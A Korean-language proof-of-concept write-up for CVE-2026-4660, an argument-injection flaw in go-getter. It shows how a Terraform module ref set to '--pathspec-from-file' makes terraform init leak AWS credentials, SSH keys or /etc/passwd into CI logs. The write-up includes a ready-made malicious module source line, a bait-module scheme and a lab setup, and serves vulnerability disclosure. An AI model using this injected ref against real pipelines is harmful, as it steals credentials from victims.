
CVE-2026-4660 PoC: hashicorp/go-getter의 git checkout을 통한 임의 파일 읽기
CVE-2026-4660에 대한 개념 증명(HashiCorp 권고)은 hashicorp/go-getter에 대한 것입니다. 저는 최초 보고자입니다.
공격자는 ref가 --pathspec-from-file=/path/to/file인 Terraform 모듈을 게시합니다. 피해자가 terraform init을 실행하면 go-getter가 저장소를 클론하고 git checkout --pathspec-from-file=/path/to/file을 호출합니다. Git은 대상 파일을 줄 단위로 읽고, 각 줄이 pathspec으로 실패하면서 해당 내용을 오류 출력에 덤프합니다. 악성 ref는 피해자 자신의 구성이 아닌 공격자 모듈 소스 내부에 있습니다. terraform init은 모듈 다운로드 오류로 실패하며, 자격 증명 값이 출력의 git pathspec 오류에 포함되어 나타납니다. apply는 필요하지 않습니다.
이 취약점은 go-getter 라이브러리의 두 코드 경로에 존재합니다. 대상 디렉터리가 없을 때는 clone()이 실행되고, 존재할 때는 update()가 실행됩니다. 둘 다 동일한 을 호출합니다. 은 오류 시 를 지연 호출하지만, 는 그렇지 않으므로 실패한 체크아웃 후에도 디렉터리가 유지됩니다.
checkout()clone()os.RemoveAll(dst)update()Terraform의 모듈 설치 프로그램(initwd/module_install.go:251)은 go-getter를 호출하기 전에 항상 대상에 대해 os.RemoveAll을 호출하므로, Terraform은 항상 clone()을 트리거합니다. Packer, Nomad 및 go-getter의 API를 기존 디렉터리에 대해 직접 호출하는 모든 도구는 대신 update()를 트리거합니다. PoC는 두 경로를 모두 시연합니다.
go-getter를 사용하는 모든 도구에 영향을 미칩니다: 예로 Terraform, Nomad, Packer, Waypoint가 있습니다.
수정 버전: go-getter v1.8.6 (2026-04-10 기준으로 이 수정 사항을 포함한 Terraform 릴리스는 아직 없음) 심각도: 7.5 높음 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
공격자는 GitHub에 실제 작동하는 코드가 포함된 AWS VPC 모듈처럼 보이는 정상적인 Terraform 모듈을 게시합니다. 내부에 숨겨진 하위 모듈 소스가 악성 ref가 있는 공격자가 제어하는 두 번째 저장소를 가리킵니다:
# 공격자 모듈 내부; 피해자는 이 파일을 읽지 않음
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
피해자는 최상위 모듈을 자신의 구성에 추가합니다:
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
그들은 로컬 또는 CI에서 terraform init을 실행합니다. go-getter가 최상위 모듈을 클론하고, 중첩된 하위 모듈을 찾아 그것도 클론한 다음 git checkout --pathspec-from-file=/home/runner/.aws/credentials을 호출합니다. Git이 파일을 읽고 내용이 terraform의 오류 출력에 나타납니다:
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
참고: [default]는 -no-color를 사용해도 terraform의 colorstring 렌더러에 의해 제거되고(스타일 재설정 토큰으로 해석됨) 실제 출력에서 빈 pathspec ''으로 나타납니다. PoC의 원시 git checkout 출력은 변형되지 않은 내용을 보여줍니다.
이 공격은 자격 증명 파일에 국한되지 않습니다. 프로세스가 읽을 수 있는 모든 파일이 대상입니다: /etc/passwd, CI 토큰 파일, 애플리케이션 구성, 러너에서 접근 가능한 모든 것. PoC는 ~/.aws/credentials, ~/.ssh/id_rsa 및 /etc/passwd를 시연합니다.
GitHub Actions, CircleCI 또는 terraform init 출력을 기록하는 모든 CI 시스템에서 해당 로그는 저장소 접근 권한이 있는 모든 사람이 읽을 수 있으며, 종종 만료 없이 로그 집계(Datadog, Splunk 등)로 내보내집니다. 피해자의 AWS 자격 증명, SSH 키 또는 러너가 읽을 수 있는 기타 파일이 로그 기록에 남게 됩니다. 피해자는 실패한 빌드를 보게 되며, 자격 증명 값은 git 오류처럼 보이는 것에 묻혀 있습니다.
docker compose up --build
두 개의 컨테이너: gitserver는 HTTP를 통해 공격자의 베어 git 저장소를 제공하고, poc는 ~/.aws/credentials, ~/.ssh/id_rsa에 가짜 자격 증명이 있고 읽을 수 있는 /etc/passwd가 있는 runner 사용자로 실행됩니다. 1단계는 terraform init을 실행하고 clone() 경로를 시연합니다. 센티널 검사는 실패 시 clone()의 지연된 RemoveAll에 의해 모듈 디렉터리가 삭제되었는지 확인합니다. 2단계는 go-getter의 update() 호출 시퀀스(가져오기 + 체크아웃)를 직접 실행하여 동일한 checkout() 취약점이 발생하고 update()에 RemoveAll 지연이 없다는 것과 일치하게 디렉터리가 유지되는지 보여줍니다. 상호 작용이 필요 없습니다.